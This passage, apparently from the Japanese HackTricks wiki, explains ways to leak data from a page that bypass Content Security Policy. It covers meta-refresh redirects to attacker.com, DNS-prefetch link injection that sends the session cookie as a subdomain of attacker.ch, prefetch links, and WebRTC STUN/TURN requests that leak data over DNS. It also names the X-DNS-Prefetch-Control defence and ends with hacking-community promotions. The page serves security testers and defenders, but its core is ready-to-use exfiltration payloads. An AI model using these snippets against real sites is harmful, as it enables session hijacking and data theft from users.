メタタグを注入することでリダイレクトが可能です(これは単なるリダイレクトであり、コンテンツを漏らすことはありません)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

ブラウザはページをより速く読み込むために、ホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決するよう指示するには、次のようにします: <link reol="dns-prefetch" href="something.com">

この振る舞いを悪用して、DNSリクエストを介して機密情報を流出させることができます:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

別の方法:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

サーバーはこれを防ぐために、HTTPヘッダーを送信できます

X-DNS-Prefetch-Control: off

{% hint style="info" %} どうやら、この技術はヘッドレスブラウザ(ボット)では機能しないようです。 {% endhint %}

WebRTC

いくつかのページで、WebRTCはCSPのconnect-srcポリシーをチェックしないと読むことができます。

実際には、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

別の選択肢:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

オンラインでCSPポリシーを確認する

自動的にCSPを作成する

https://csper.io/docs/generating-content-security-policy

参考文献

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターと交流しましょう!

ハッキングの洞察
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保つ

最新の発表
新しいバグバウンティの開始や重要なプラットフォームの更新情報を入手する

今すぐ Discord に参加して、トップハッカーとのコラボレーションを始めましょう!

htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローに学ぶ

HackTricksをサポートする他の方法: